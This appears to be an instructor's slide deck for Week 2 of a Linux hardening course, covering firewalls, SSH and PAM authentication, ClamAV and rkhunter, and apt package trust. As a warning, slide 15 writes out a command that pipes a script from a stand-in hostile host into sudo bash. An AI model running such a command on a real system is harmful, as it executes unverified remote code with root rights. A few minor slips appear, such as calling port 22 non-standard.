Week 2 Lecture Companion | Advanced Linux Administration

Lecture Companion  |  Week 2 of 4  |  CTS4321C · Course Objectives 3 & 4
Perimeter Defense —
Firewalls + Auth + AV + Packages
The four layers that harden what you built last week. Lock the door, verify who knocks, scan what walks in, and control what gets installed.
26 Slides 4 Topic Blocks Security-Focused Bring a terminal
This deck is the instructor companion. The 4 topic decks (Firewalls, Authentication, ClamAV, Packages) hold the drilldown. This deck holds the throughline.
Slide 2 of 26  |  The Week Ahead
Four Stops, One Perimeter
A traveling marker shows where we are. Last week you built the box. This week you harden it.
1 Firewalls the gatekeeper iptables · nftables · UFW packet policy ~12 MIN 2 Authentication the dual lock PAM · SSH keys · fail2ban who gets in ~12 MIN 3 Antivirus / AV the sentinel ClamAV · rkhunter · schedules threat detection ~12 MIN 4 Packages the armory apt · dpkg · make install controlled supply chain ~12 MIN ~50 minutes · 4 hardening layers · everything builds on last week's foundation
Slide 3 of 26  |  The Big Picture
How These Four Fit Together
An attacker approaches. Each Week 2 layer is a gate. Each gate has to hold independently.
ATTACKER internet FIREWALL block unwanted ports AUTH verify identity ANTIVIRUS scan file payloads PACKAGES trust the supply chain Defense in depth. Each layer is independent. Failing one does not break the others.
Firewalls are policy
They define what traffic is even allowed to reach your services. Everything blocked at L3/L4 never touches the application layer.
Auth is identity
Policy lets the packet in; authentication decides if the person behind it belongs here. PAM + SSH keys + fail2ban are the three-lock stack.
Packages are the supply chain
Compromised software installs backdoors. GPG-signed repositories + pinning + checksums keep the supply chain honest.
Slide 4 of 26  |  Topic 1: Firewalls
Default Deny: The Right Starting Point
Every port that is not explicitly permitted is closed. This is not paranoia — it is operational hygiene.
INTERNET any port, any source FIREWALL ALLOW :22 ALLOW :80 ALLOW :443 DROP * default policy SERVER only sees allowed traffic DROPPED never reaches application layer DEFAULT DENY MEANS unlisted port = closed unknown source = blocked allowlist, not blocklist
The Netfilter stack
iptables is the classic userspace interface to Netfilter. nftables is the modern replacement. Both write rules into kernel hook-points.
UFW: the operator wrapper
ufw simplifies iptables with human commands: ufw allow 22/tcp. The rules it generates are plain iptables under the hood.
Stateful vs stateless
Stateful firewalls track connection state — a reply packet from an established session is automatically allowed. Stateless rules treat every packet independently.
Slide 5 of 26
Netfilter: Tables, Chains, Rules
Every packet walks a decision tree. Tables group policy domains. Chains are the checkpoints. Rules are the gates.
PREROUTING before routing decision ROUTING local INPUT packets TO this host LOCAL process OUTPUT packets FROM this host forward FORWARD routed through host POSTROUTING after routing, before wire TABLES filter   allow / drop / reject nat   address translation mangle mark / QoS INPUT/OUTPUT/FORWARD live in filter PREROUTING/POSTROUTING in nat The chain you care about most for server hardening: INPUT in the filter table.
Operational pattern
Server hardening is almost entirely about the filter table INPUT chain: ACCEPT established/related traffic, explicitly ACCEPT your services (22, 80, 443), then DROP everything else as the default policy.
Slide 6 of 26
UFW — Zero to Default-Deny in Six Commands
UFW wraps iptables with human-readable syntax. The six commands below go from open-by-default to hardened.
$ sudo ufw default deny incoming # block everything that isn't explicitly listed $ sudo ufw default allow outgoing # your server can still reach the internet $ sudo ufw allow 22/tcp # SSH - do this BEFORE enabling or you lock yourself out $ sudo ufw allow 80/tcp sudo ufw allow 443/tcp $ sudo ufw enable Command may disrupt existing ssh connections. Proceed with operation (y|n)? y Firewall is active and enabled on system startup $ sudo ufw status verbose Status: active Default: deny (incoming), allow (outgoing) To Action From 22/tcp ALLOW IN Anywhere 80/tcp ALLOW IN Anywhere 443/tcp ALLOW IN Anywhere
Lock-out prevention rule
Always run ufw allow 22/tcp before ufw enable. If you enable first, you cut your own SSH connection. On cloud instances, console access is your only recovery path.
Slide 7 of 26  |  Firewall Synthesis
Firewall Mental Model: Three Questions
Every rule you write answers one of three questions. If you cannot answer them, the rule does not belong in the chain.
?
Who is talking to what?
Source IP or CIDR + destination port. Example: "any IP to port 443 on this host." Vague sources without justified business need are a red flag.
!
Does the business need this open?
If you cannot name the service that needs the port, the port stays closed. An open port with no listener is still a reconnaissance signal to attackers scanning with nmap.
Can you audit this rule six months from now?
Add comments: ufw allow 8080/tcp comment 'dev API server'. A rule without a comment is a rule without an owner. Orphaned rules accumulate and no one removes them.
Slide 8 of 26  |  Topic 2: Authentication
The Authentication Stack
Three layers decide if a login succeeds. Understanding where each decision is made tells you where to harden.
CLIENT ssh user@host sshd key vs password? AllowUsers / AllowGroups Port, PasswordAuthentication PAM pluggable auth modules pam_unix pam_google_auth password policy, TOTP, lockout SHELL ACCESS GRANTED bash / rbash / nologin fail2ban watches log, bans repeat failures via iptables
SSH key authentication
Your private key proves identity via asymmetric crypto. No password to brute-force. Set PasswordAuthentication no in sshd_config once keys are deployed.
PAM is the plugin system
PAM decouples authentication mechanism from the application. Add TOTP by stacking pam_google_authenticator.so into /etc/pam.d/sshd.
fail2ban closes the brute-force gap
Reads auth logs, detects repeated failures, issues temporary iptables bans. Default: 5 failures within 10 min triggers a 10-minute ban of the source IP.
Slide 9 of 26
sshd_config Hardening — The Checklist
The SSH daemon ships with permissive defaults. Eight directives transform it from "open" to "hardened."
# /etc/ssh/sshd_config — hardened baseline Port 22 # non-standard port reduces automated scans # 2222 or a high port > 1024 are common choices PermitRootLogin no # root must never log in directly over SSH PasswordAuthentication no # keys only — requires AuthorizedKeys deployed first PubkeyAuthentication yes MaxAuthTries 3 # disconnect after 3 failed attempts LoginGraceTime 20 # 20s to authenticate or connection drops AllowUsers ops deploy # explicit allowlist — all others denied at sshd X11Forwarding no
Apply changes
After editing sshd_config, reload the daemon without dropping active connections:
sudo systemctl reload sshd
Test before logging out
Open a second SSH session in a separate terminal and verify you can still connect. Only close the original session once the second confirms login works. A syntax error in sshd_config locks you out instantly.
Validate syntax first
sudo sshd -t — dry-runs the config and reports errors. Run this before every reload.
Slide 10 of 26
PAM + TOTP: The Second Lock
SSH key proves who you are. TOTP proves you have the device. Two factors independent of each other.
FACTOR 1 — something you HAVE SSH private key RSA 4096 or Ed25519 · ~/.ssh/id_ed25519 cannot be replayed or guessed + FACTOR 2 — something you KNOW TOTP 6-digit code pam_google_authenticator · 30s window expires every 30 seconds = BOTH REQUIRED key alone: denied code alone: denied key + code: GRANTED /etc/pam.d/sshd auth required pam_unix.so auth required pam_google_   authenticator.so ↑ stacking modules = multi-factor order matters: all "required" must pass /etc/ssh/sshd_config additions for TOTP ChallengeResponseAuthentication yes     AuthenticationMethods publickey,keyboard-interactive "publickey,keyboard-interactive" = key first, then TOTP prompt. Both required in sequence.
Setup shorthand
Install: sudo apt install libpam-google-authenticator. Per user: run google-authenticator and scan the QR code into any TOTP app (Authy, Google Authenticator, 1Password). The secret is stored in ~/.google_authenticator.
Slide 11 of 26
Password Policy: PAM + pwquality
Weak passwords break every other control. pam_pwquality enforces rules at the point of change.
# /etc/security/pwquality.conf minlen = 14 # minimum 14 characters minclass = 3 # 3 of 4: lower/upper/digit/special maxrepeat = 2 # no more than 2 identical in a row dcredit = -1 # require at least 1 digit ucredit = -1 # require at least 1 uppercase ocredit = -1 # require at least 1 special char dictcheck = 1 # reject dictionary words # /etc/login.defs — aging policy PASS_MAX_DAYS 90 PASS_MIN_DAYS 1 PASS_WARN_AGE 14
sudo configuration
sudo visudo is the safe editor for /etc/sudoers. Never edit it directly — a syntax error makes sudo inoperative system-wide. Use NOPASSWD: sparingly and only for specific commands, never ALL.
Account lockout
pam_tally2 (Ubuntu 20.04) or pam_faillock (Ubuntu 22.04+) tracks failed console logins. Lock after 5 failures: faillock --user alice --reset to unlock manually.
Slide 12 of 26  |  Topic 3: Antivirus
Why Antivirus on Linux?
Linux is not immune. The threat model differs from Windows. The need is real, and the stakes are higher.
Linux malware exists
RansomEXX, HelloKitty target Linux servers. XMRig cryptominer runs on compromised boxes. Web shells installed after application exploits. Linux runs the infrastructure — that makes it a high-value target.
File transit threat
Linux servers handle user uploads, email attachments, and shared storage. A Windows-targeted payload resting on your server is a liability. ClamAV catches it before it reaches Windows clients.
Compliance requirement
PCI-DSS and HIPAA require antivirus on all in-scope systems regardless of OS. ClamAV satisfies the requirement and generates the audit logs to prove it.
clamd daemon scans in background freshclam updater pulls signatures daily clamdscan CLI client sends file to clamd Signature DB daily.cvd 8M+ threat patterns Four components. Daemon for speed. Updater for currency. Client for scheduling. Database for knowledge.
Slide 13 of 26
ClamAV: Install, Update, Scan
Three operational verbs. Install once. Update on a schedule. Scan on demand and automatically.
# 1. Install ClamAV and the daemon $ sudo apt install clamav clamav-daemon -y # 2. Stop clamd so freshclam can update signatures $ sudo systemctl stop clamav-daemon $ sudo freshclam ClamAV update process started at Sun Jun 15 10:00:00 2026 daily.cvd updated (version: 27423, sigs: 8420901, f-level: 90) # 3. Start the daemon and enable at boot $ sudo systemctl enable --now clamav-daemon # 4. On-demand scan (sends to daemon via socket — fast) $ clamdscan --fdpass /var/www/html ----------- SCAN SUMMARY ----------- Infected files: 1 ← FOUND: Trojan.WebShell-1234 Time: 2.431 sec (45 files) # 5. Move infected file to quarantine $ clamscan --move=/var/quarantine /var/www/html/shell.php
Scheduled scanning pattern
Wire ClamAV into a systemd timer (not cron) so results land in journalctl -u clamav-scan. Set OnCalendar=daily and Persistent=true so missed scans (e.g., during maintenance windows) run on next boot.
Slide 14 of 26
rkhunter — Rootkit Detection
ClamAV scans files for known signatures. rkhunter looks for rootkit artifacts, SUID changes, and command-integrity drift.
What rkhunter checks
SUID/SGID file changes since last baseline. Hidden files in /dev. Startup file modifications. Network backdoors (unexpected listening ports). Known rootkit file signatures. System binary integrity via SHA-256 hashes.
Baseline first, scan later
Run rkhunter --propupd immediately after a clean install to record system binary hashes. Future scans detect drift from that baseline. Never baseline a potentially-compromised system.
# Install and update $ sudo apt install rkhunter -y $ sudo rkhunter --update # Record baseline (clean system only) $ sudo rkhunter --propupd # Run a check $ sudo rkhunter --check --skip-keypress [ Rootkit checks ] Rootkit 'Suckit' [ Not found ] Rootkit 'Adore' [ Not found ] [ Command checks ] /bin/ls [ OK ] /usr/bin/passwd [ Warning! ] ← investigate [ Filesystem checks ] Hidden files found in /dev [ Warning! ] # Check results log $ sudo cat /var/log/rkhunter.log | grep Warning
Slide 15 of 26  |  Topic 4: Packages
The Package Trust Chain
Software installed without cryptographic verification is an unaudited binary running as root. The trust chain is what makes repositories safe.
MAINTAINER builds package signs with GPG key dpkg-buildpackage REPOSITORY hosts .deb + Release file SHA-256 of each package InRelease signed by repo key APT downloads + verifies GPG sig on InRelease SHA-256 of .deb file dpkg unpacks + installs records in /var/lib/dpkg runs preinst / postinst SYSTEM INSTALLED tracked, removable dpkg -l shows it Every step has a cryptographic check. Tampering anywhere breaks the chain. APT refuses to install.
The supply chain risk
curl https://bad-actor.io/install.sh | sudo bash bypasses every step of this chain. Never pipe unknown scripts into bash. Download, inspect, then run.
Slide 16 of 26
apt — The Daily Seven
Seven verbs, three jobs: discover what exists, install or remove what you need, keep it current.
apt update
Refresh the local package index from all configured repositories. Does NOT upgrade anything. Run before every install.
apt upgrade
Install newer versions of all installed packages. Holds back packages that require removing others. Safe for routine patching.
apt install <pkg>
Download and install a package plus its dependencies. APT resolves the dependency graph automatically.
apt remove <pkg>
Removes the package. Leaves config files. Use apt purge to also delete config files.
apt search <term>
Full-text search of package names and descriptions in the local index. Use apt show <pkg> to see details including dependencies and size.
apt autoremove
Remove packages installed as dependencies that no longer have any package depending on them. Reduces attack surface.
dpkg -l | grep <name>
List installed packages and their versions. dpkg -i pkg.deb installs a local .deb file. dpkg -L pkg lists all files owned by a package.
Slide 17 of 26
Build from Source: checkinstall Makes It Safe
When the repository does not carry what you need, you compile it. checkinstall wraps make install so dpkg can track it.
# Classic source build $ tar xf myapp-2.4.1.tar.gz && cd myapp-2.4.1 $ ./configure --prefix=/usr/local checking for gcc... gcc checking for make... make configure: creating ./Makefile $ make -j$(nproc) CC src/main.o LD myapp ... # WITHOUT checkinstall: make install # ↓ files scattered everywhere, dpkg blind # WITH checkinstall: creates a .deb instead $ sudo checkinstall --pkgname=myapp \ --pkgversion=2.4.1 --default Done. The new package has been installed. New package: myapp_2.4.1-1_amd64.deb # Now dpkg tracks it and can remove it cleanly $ dpkg -l myapp ii myapp 2.4.1-1 amd64
Why checkinstall matters
make install drops files across the filesystem with no record. checkinstall intercepts the installation, records every file placed, and creates a real .deb. The result: apt remove myapp cleans it up completely.
Build dependencies
Almost every source build needs development packages. Pattern: sudo apt install build-essential libssl-dev. The build-essential metapackage brings gcc, g++, make, and libc headers. Always read the project's INSTALL file first.
GPG verify the source tarball
Reputable projects publish a .asc signature alongside the tarball.
gpg --verify myapp-2.4.1.tar.gz.asc A mismatch means the tarball was tampered with or you fetched the wrong file.
Slide 18 of 26
Repositories and Pinning
Adding third-party repos is high-trust. Pinning controls which repo wins when multiple carry the same package.
# Add a third-party repo safely # Step 1: import the GPG key $ curl -fsSL https://pkg.example.com/gpg.key \ | sudo gpg --dearmor \ -o /usr/share/keyrings/example-archive-keyring.gpg # Step 2: add the repo with key pinned to it $ echo "deb [signed-by=/usr/share/keyrings/\ example-archive-keyring.gpg] \ https://pkg.example.com/apt jammy main" \ | sudo tee /etc/apt/sources.list.d/example.list $ sudo apt update # Pinning: prefer Ubuntu repo over third-party # /etc/apt/preferences.d/main-priority Package: * Pin: release o=Ubuntu Pin-Priority: 1001 Package: * Pin: origin pkg.example.com Pin-Priority: 100
Third-party repo risk
A third-party repo has root-level access to your system from the moment APT trusts its key. Vet the source before adding. Prefer official ubuntu.com or vendor-published repos over community PPAs for production systems.
Pin-Priority values
>1000 = install even if downgrade. 990 = preferred source. 500 = Ubuntu default. 100 = available but not preferred. -1 = never install from this source.
Unattended upgrades
sudo apt install unattended-upgrades and configure /etc/apt/apt.conf.d/50unattended-upgrades to auto-apply security updates from Ubuntu's security repository. Non-security updates should be reviewed manually.
Slide 19 of 26  |  Synthesis
W2 in One Scenario: "The Upload Server"
New server. Accepts file uploads from external users. Four Week 2 layers applied in order.
1 FIREWALL — lock the perimeter first ufw default deny incoming && ufw allow 22 && ufw allow 443 && ufw enable 2 AUTH — keys only, no passwords, fail2ban deployed PasswordAuthentication no in sshd_config  +  sudo apt install fail2ban -y 3 ANTIVIRUS — scan uploaded files automatically clamdscan --fdpass /uploads/incoming   triggered by systemd.path unit on new file 4 PACKAGES — only trusted sources, security updates automated apt-mark hold <critical-pkg>  +  unattended-upgrades with security repo only + RESULT — defense in depth across all four layers network gated · identity verified · payload scanned · software supply chain trusted FOUR BLOCKS, ONE HARDENED HOST Firewall stopped the scan · auth stopped the brute force · AV caught the webshell · packages kept the supply chain clean
Slide 20 of 26
The Cross-Connections
These four topics do not live in separate boxes. Where they touch is where the strongest protection comes from.
Firewall + fail2ban
fail2ban writes iptables rules dynamically. When an auth failure threshold is crossed, it calls back into the firewall layer to block the offending IP. Auth hardening and network hardening cooperate.
Packages + AV
ClamAV and rkhunter are themselves packages installed via apt. Their signature databases are also packages. Keeping the AV tools current is a package management task — freshclam is just an updater.
Auth + systemd
SSH daemon runs as a systemd service. systemctl status sshd tells you if the daemon is alive. journalctl -u sshd -p warn shows every authentication warning without grep.
Firewall + packages
UFW is shipped as a package. Adding a firewall rule for a new service and installing the service package should happen together — open the port at the same time you install the daemon, not before.
AV + systemd timers
Replace ClamAV's cron job with a systemd timer. Benefits from last week: logs in journalctl, Persistent=true catches missed scans, RequiresMountsFor= ensures storage is ready before scanning.
CLI + everything
Last week's CLI tools are the diagnostic layer for all four Week 2 topics. grep "DENIED" /var/log/ufw.log, ss -tlnp to verify open ports, dpkg -l to audit installed packages.
Slide 21 of 26
Common Mistakes: What Goes Wrong
These are the errors instructors see most often in labs. Each one has a clear root cause and a fix.
1
Enabling UFW before allowing SSH
Running ufw enable before adding port 22. Result: terminal hangs, SSH connection drops, no way back in without console access.
Fix
Always ufw allow 22/tcp first. Run ufw status and verify port 22 appears before enabling.
2
Setting PasswordAuthentication no without deploying keys
Disabling passwords before ~/.ssh/authorized_keys is populated. Instant lockout for all users including root.
Fix
Deploy keys first: ssh-copy-id user@host. Test key login in a separate terminal. Then disable passwords and reload.
3
Running ClamAV scans on a full filesystem unthrottled
Scanning clamscan / on a production server saturates I/O and CPU. Service degradation guaranteed.
Fix
Use clamdscan (daemon-mode, faster) and schedule scans at 03:00. Scope scans to web roots and upload directories, not /.
4
piping curl to bash to install from unknown source
curl url | sudo bash bypasses GPG verification, package tracking, and dependency resolution in one command.
Fix
Download the script, inspect it: curl -O install.sh && less install.sh && bash install.sh. Or better: use an official package repo.
Slide 22 of 26
The W2 Hardening Checklist
One page. Four categories. Every item here is a concrete task students can verify with a command.
Firewall
Default incoming policy set to deny
Only ports 22, 80, 443 open (or justified ports)
UFW enabled and status verified
All rules have comments explaining purpose
nmap scan from external confirms no surprise ports
Authentication
Root login disabled (PermitRootLogin no)
SSH key deployed and key login tested
PasswordAuthentication set to no
fail2ban installed and active
AllowUsers restricts access to named accounts
Antivirus
ClamAV daemon installed and running
Signatures updated (freshclam ran without error)
Daily scan scheduled via systemd timer
Quarantine directory created with restricted permissions
rkhunter baseline recorded on clean system
Packages
apt update + upgrade run (zero pending security updates)
Unattended-upgrades configured for security repo
No third-party repos added without GPG key
dpkg -l audit: no unknown packages installed
apt autoremove run (no orphaned dependencies)
Slide 23 of 26
Verification: How to Confirm It Works
A hardening step that cannot be verified is a guess. Each layer has a specific command that proves the state.
FIREWALL
sudo ufw status verbose
Shows active rules. Confirm status: active, default deny, only expected ports listed.
FIREWALL
nmap -sV 127.0.0.1
Confirms from inside which ports respond. Run from external host for the real attacker view.
AUTH
sudo sshd -T | grep passwordauth
Dumps effective sshd config. Confirm passwordauthentication no.
AUTH
sudo fail2ban-client status sshd
Shows total bans, currently banned IPs, and jail status. Confirms fail2ban is watching SSH.
ANTIVIRUS
systemctl status clamav-daemon
Confirms daemon running. Active (running) means it is accepting scan requests via socket.
ANTIVIRUS
clamdscan /usr/share/doc/clamav/
Smoke-test. Should complete without ERROR and show 0 infected files on a clean system.
PACKAGES
apt list --upgradable 2>/dev/null
Lists packages with available updates. Empty output = fully patched. Should be zero security packages.
Slide 24 of 26  |  Security Playbook
The Linux Security Playbook
Watch this week's four layers — firewall, authentication, antivirus, packages — applied end to end on one box.
Slide 25 of 26
Week 2 Complete — What Comes Next
Week 3 builds Sector Authority on top of the hardened foundation you now have.
WEEK 1 — DONE Grid Connection CLI · systemd · ip · ss COs 1 & 2 covered WEEK 2 — DONE Perimeter Defense UFW · PAM · ClamAV · apt COs 3 & 4 covered 3 WEEK 3 — NEXT Sector Authority DNS · BIND · bash · cron scripting automation on hardened base 4 WEEK 4 Integrity Verification AIDE · logs · perf · audit CTS4321C · perimeter hardened. Week 3 builds automation and naming authority on top of it.
Drilldown decks (this week)
ALA-05 Firewalls · ALA-06 Authentication · ALA-07 ClamAV · ALA-08 Packages — ~148 slides
Before next class
ALA-L04 through L06 labs · Week 2 quiz to lock hardening concepts in
W3: Sector Authority
DNS, BIND, bash scripting, and cron on top of the hardened box. Bring questions.
Slide 26 of 26
End of Week 2
Firewalls, authentication hardening, antivirus scanning, package management. The perimeter is sealed. Three weeks down, one to go.
FIREWALL iptables · nftables · UFW COs 3 AUTH PAM · SSH keys · fail2ban COs 3 & 4 ANTIVIRUS ClamAV · rkhunter COs 4 PACKAGES apt · dpkg · checkinstall COs 3 & 4 CTS4321C · you can harden a Linux box now. Week 3 builds authority and automation on it.